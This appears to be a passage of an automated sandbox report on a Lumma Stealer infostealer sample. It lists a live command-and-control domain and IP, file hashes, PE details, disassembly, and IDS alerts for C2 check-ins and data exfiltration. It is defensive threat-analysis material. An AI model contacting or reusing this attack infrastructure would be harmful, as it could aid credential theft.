https://grannyejh.lat:443/api/	NHEXQatKdE.exe, 00000004.00000002.2923597402.0000000000EE7000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000EE7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	NHEXQatKdE.exe, 00000004.00000003.2493814960.00000000037BC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.mozilla.or	NHEXQatKdE.exe, 00000004.00000003.2493650462.00000000034AA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	NHEXQatKdE.exe	false		high
https://grannyejh.lat/piN	NHEXQatKdE.exe, 00000004.00000002.2924163388.0000000003526000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://grannyejh.lat/7	NHEXQatKdE.exe, 00000004.00000003.2560537533.0000000000F5F000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2560508442.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://sectigo.com/CPS0	NHEXQatKdE.exe	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	NHEXQatKdE.exe, 00000004.00000003.2288139175.00000000034D9000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2288234358.00000000034D7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	NHEXQatKdE.exe, 00000004.00000003.2494211477.0000000003499000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/4	NHEXQatKdE.exe, 00000004.00000002.2924163388.0000000003526000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://grannyejh.lat/	NHEXQatKdE.exe, 00000004.00000003.2718890653.0000000000F5F000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000F07000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2923597402.0000000000EE7000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2923597402.0000000000F07000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2922757214.0000000000F60000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000EE7000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2640272191.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000ED0000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2923799804.0000000000F62000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2718255542.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2924163388.0000000003526000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2923597402.0000000000ED0000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2560537533.0000000000F5F000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2560924415.0000000000F62000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2560508442.0000000000F54000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2640792581.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	NHEXQatKdE.exe, 00000004.00000003.2494211477.0000000003499000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	NHEXQatKdE.exe	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	NHEXQatKdE.exe, 00000004.00000003.2288139175.00000000034D9000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2288234358.00000000034D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	NHEXQatKdE.exe, 00000004.00000003.2492453188.00000000034AD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	NHEXQatKdE.exe, 00000004.00000003.2492453188.00000000034AD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/E	NHEXQatKdE.exe, 00000004.00000003.2718890653.0000000000F5F000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2922757214.0000000000F60000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2640272191.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2923799804.0000000000F62000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2718255542.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2640792581.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	NHEXQatKdE.exe, 00000004.00000003.2288139175.00000000034D9000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2288234358.00000000034D7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	NHEXQatKdE.exe, 00000004.00000003.2493814960.00000000037BC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsoft.	NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000F07000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2923597402.0000000000F07000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	NHEXQatKdE.exe, 00000004.00000003.2494211477.0000000003499000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	NHEXQatKdE.exe, 00000004.00000003.2288139175.00000000034D9000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2288234358.00000000034D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	NHEXQatKdE.exe	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	NHEXQatKdE.exe	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	NHEXQatKdE.exe, 00000004.00000003.2555793950.0000000003492000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2551489423.0000000003491000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	NHEXQatKdE.exe, 00000004.00000003.2492453188.00000000034AD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/N	NHEXQatKdE.exe, 00000004.00000003.2922757214.0000000000F60000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2923799804.0000000000F62000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://grannyejh.lat:443/apiw	NHEXQatKdE.exe, 00000004.00000002.2923597402.0000000000EE7000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000EE7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://grannyejh.lat/c	NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000F07000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2923597402.0000000000F07000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.serv	NHEXQatKdE.exe, 00000004.00000003.2555793950.0000000003492000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2551489423.0000000003491000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://grannyejh.lat/d	NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000F07000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2923597402.0000000000F07000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	NHEXQatKdE.exe, 00000004.00000003.2288139175.00000000034D9000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2288234358.00000000034D7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	NHEXQatKdE.exe, 00000004.00000003.2555793950.0000000003492000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2551489423.0000000003491000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.179.109	grannyejh.lat	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577899
Start date and time:	2024-12-18 21:21:27 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	NHEXQatKdE.exe renamed because original name is a hash value
Original Sample Name:	1af7854a5ad5a97c01e2217cdf0f7656.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/0@2/1
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 93% Number of executed functions: 37 Number of non-executed functions: 97
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 172.202.163.200
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target NHEXQatKdE.exe, PID 5576 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: NHEXQatKdE.exe

Simulations

Behavior and APIs

Time	Type	Description
15:22:23	API Interceptor	9x Sleep call for process: NHEXQatKdE.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.67.179.109	pPizCGDvrx.exe	Get hash	malicious	LummaC	Browse
	D2Cw8gWOXj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse
	0Vwp4nJQOc.exe	Get hash	malicious	LummaC, Stealc	Browse
	Z1jUFmrTua.exe	Get hash	malicious	LummaC, Stealc	Browse
	random.exe.7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
grannyejh.lat	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	pPizCGDvrx.exe	Get hash	malicious	LummaC	Browse	172.67.179.109
	D2Cw8gWOXj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.179.109
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	172.67.179.109
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	172.67.179.109
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	172.67.179.109
	0Vwp4nJQOc.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.179.109
	Lw1k8a7gQu.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	Z1jUFmrTua.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.179.109
	random.exe.7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	172.67.179.109

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	pPizCGDvrx.exe	Get hash	malicious	LummaC	Browse	172.67.179.109
	tasktow.exe	Get hash	malicious	Unknown	Browse	104.21.1.82
	https://www.asda.com@hnvs.xyz/asda-christmas-prizes	Get hash	malicious	Unknown	Browse	172.66.47.201
	TUp6f2knn2.exe	Get hash	malicious	LummaC	Browse	104.21.24.223
	QIo3SytSZA.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	Payment_Failure_Notice_Office365_sdf_[13019].html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	R4qP4YM0QX.lnk	Get hash	malicious	Unknown	Browse	172.64.41.3
	D2Cw8gWOXj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.179.109
	https://vCyA.warmickmak.ru/PrEvJj/	Get hash	malicious	Unknown	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.179.109
	pPizCGDvrx.exe	Get hash	malicious	LummaC	Browse	172.67.179.109
	TUp6f2knn2.exe	Get hash	malicious	LummaC	Browse	172.67.179.109
	D2Cw8gWOXj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.179.109
	sqJIHyPqhr.exe	Get hash	malicious	LummaC	Browse	172.67.179.109
	k6A01XaeEn.exe	Get hash	malicious	LummaC	Browse	172.67.179.109
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	172.67.179.109
	'Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.179.109
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.179.109

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.906638959287093
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	NHEXQatKdE.exe
File size:	723'584 bytes
MD5:	1af7854a5ad5a97c01e2217cdf0f7656
SHA1:	fad9ae35e40778bbe36cff4f28a3e31a3fbc58c3
SHA256:	2b843617d9fef8997fa434d68a2338dfb3da3550ceefb638f5e683a4e666693a
SHA512:	73e207fe18eb79543b960a5bd3fe1994220bd0ec2efce9f3c484a57ecd4988feaecc35df3163cb3d6f4aad42f9831d3fb82907d75f704ad51a72d232199d2d81
SSDEEP:	12288:0ZOOIkzlNMs6FQNN2Z88zQyHHmSPlFaHx6FQNN2Z88zQyHHmSPlFaHClr7v:NOIkTMbFQNNqQyHHmmlFaHMFQNNqQyHX
TLSH:	65F4120AB5D280F1D8F21E3519B0CAA198BDD2346F508FEF33D809669FB47D1123D96A
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....zag.........."......4..........n.............@..........................@............@.....................................P..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x401e6e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE
Time Stamp:	0x67617A10 [Tue Dec 17 13:18:08 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	21f765297fa9653ef21199b37f81eeb8

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo Public Code Signing CA R36, O=Sectigo Limited, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	30/08/2023 20:00:00 30/08/2026 19:59:59
Subject Chain	CN=Privacy Technologies OU, O=Privacy Technologies OU, S=Harjumaa, C=EE
Version:	3
Thumbprint MD5:	AD1BCBF19AE2F91BB114D33B85359E56
Thumbprint SHA-1:	141D90A1BA8F61863FBEDDF7DD1D66C1D1E0B128
Thumbprint SHA-256:	A08EA2A7A257AD690B988446951E9DEF2986A2F3F546B6F0902805330F3B6B48
Serial:	00D0461B529F67189D43744E9CEFE172AE

Entrypoint Preview

Instruction
call 00007F5F0526994Ah
jmp 00007F5F05269569h
push ebp
mov ebp, esp
push dword ptr [ebp+08h]
call 00007F5F052696FFh
neg eax
pop ecx
sbb eax, eax
neg eax
dec eax
pop ebp
ret
push ebp
mov ebp, esp
cmp dword ptr [0041D2A0h], FFFFFFFFh
push dword ptr [ebp+08h]
jne 00007F5F052696F9h
call 00007F5F0526D54Dh
jmp 00007F5F052696FDh
push 0041D2A0h
call 00007F5F0526D4D0h
pop ecx
pop ecx
xor ecx, ecx
test eax, eax
cmove ecx, dword ptr [ebp+08h]
mov eax, ecx
pop ebp
ret
push 00000008h
push 0041B430h
call 00007F5F05269C2Eh
and dword ptr [ebp-04h], 00000000h
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
jne 00007F5F0526974Fh
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
jne 00007F5F0526973Eh
mov ecx, 0000010Bh
cmp word ptr [eax+00400018h], cx
jne 00007F5F05269730h
mov eax, dword ptr [ebp+08h]
mov ecx, 00400000h
sub eax, ecx
push eax
push ecx
call 00007F5F05269872h
pop ecx
pop ecx
test eax, eax
je 00007F5F05269719h
cmp dword ptr [eax+24h], 00000000h
jl 00007F5F05269713h
mov dword ptr [ebp-04h], FFFFFFFEh
mov al, 01h
jmp 00007F5F05269711h
mov eax, dword ptr [ebp-14h]
mov eax, dword ptr [eax]
xor ecx, ecx
cmp dword ptr [eax], C0000005h
sete cl
mov eax, ecx
ret
mov esp, dword ptr [ebp-18h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1aaf0	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1f000	0xe8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xadc00	0x2e80	.bss
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x20000	0x1104	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x15170	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1ac70	0x130	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x13347	0x13400	6d89a97965264aa303718e1047ceed5a	False	0.6077643060064936	data	6.652018864290896	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x15000	0x69d4	0x6a00	7975814b27f5305afaa4ae2451474f40	False	0.47162441037735847	data	5.167894945532914	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1c000	0x19b8	0x1000	21ca70d79da8e11896608cf64484f9d4	False	0.466796875	data	4.806314076439111	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ext	0x1e000	0x53	0x200	1397a12727ddad9d37e4ee639b13e495	False	0.173828125	data	1.4093403317208462	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x1f000	0xe8	0x200	e4b2b3496c80cd736aa5918f624610b3	False	0.306640625	data	2.337865625306241	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x20000	0x1104	0x1200	73926e461be0cdaa888155118c22b90f	False	0.7777777777777778	data	6.401085059562283	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.bss	0x22000	0x48800	0x48800	183b1708cdcba3739315eeab36f60a86	False	1.0003401131465517	data	7.999335620946436	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x6b000	0x48800	0x48800	183b1708cdcba3739315eeab36f60a86	False	1.0003401131465517	data	7.999335620946436	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x1f060	0x87	XML 1.0 document, ASCII text	English	United States	0.8222222222222222

Imports

DLL	Import
ADVAPI32.dll	CryptContextAddRef
GDI32.dll	CloseFigure
KERNEL32.dll	CloseHandle, CompareStringW, CreateFileW, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, ExitProcess, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetFileSize, GetFileSizeEx, GetFileType, GetLastError, GetModuleFileNameA, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadFile, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnhandledExceptionFilter, WideCharToMultiByte, WriteConsoleW, WriteFile

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T21:22:24.862868+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.6	59438	1.1.1.1	53	UDP
2024-12-18T21:22:25.007446+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.6	64464	1.1.1.1	53	UDP
2024-12-18T21:22:26.557736+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49714	172.67.179.109	443	TCP
2024-12-18T21:22:26.557736+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49714	172.67.179.109	443	TCP
2024-12-18T21:22:31.213368+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49714	172.67.179.109	443	TCP
2024-12-18T21:22:31.213368+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49714	172.67.179.109	443	TCP
2024-12-18T21:22:32.441063+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49726	172.67.179.109	443	TCP
2024-12-18T21:22:32.441063+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49726	172.67.179.109	443	TCP
2024-12-18T21:22:35.354788+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49726	172.67.179.109	443	TCP
2024-12-18T21:22:35.354788+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49726	172.67.179.109	443	TCP
2024-12-18T21:22:36.985675+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49739	172.67.179.109	443	TCP
2024-12-18T21:22:36.985675+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49739	172.67.179.109	443	TCP
2024-12-18T21:22:55.215987+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49780	172.67.179.109	443	TCP
2024-12-18T21:22:55.215987+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49780	172.67.179.109	443	TCP
2024-12-18T21:22:56.052386+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49780	172.67.179.109	443	TCP
2024-12-18T21:22:57.690905+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49787	172.67.179.109	443	TCP
2024-12-18T21:22:57.690905+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49787	172.67.179.109	443	TCP
2024-12-18T21:23:04.817390+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49799	172.67.179.109	443	TCP
2024-12-18T21:23:04.817390+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49799	172.67.179.109	443	TCP
2024-12-18T21:23:10.861677+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49811	172.67.179.109	443	TCP
2024-12-18T21:23:10.861677+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49811	172.67.179.109	443	TCP
2024-12-18T21:23:19.992096+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49836	172.67.179.109	443	TCP
2024-12-18T21:23:19.992096+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49836	172.67.179.109	443	TCP
2024-12-18T21:23:39.112966+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49836	172.67.179.109	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 21:22:25.324431896 CET	49714	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:25.324503899 CET	443	49714	172.67.179.109	192.168.2.6
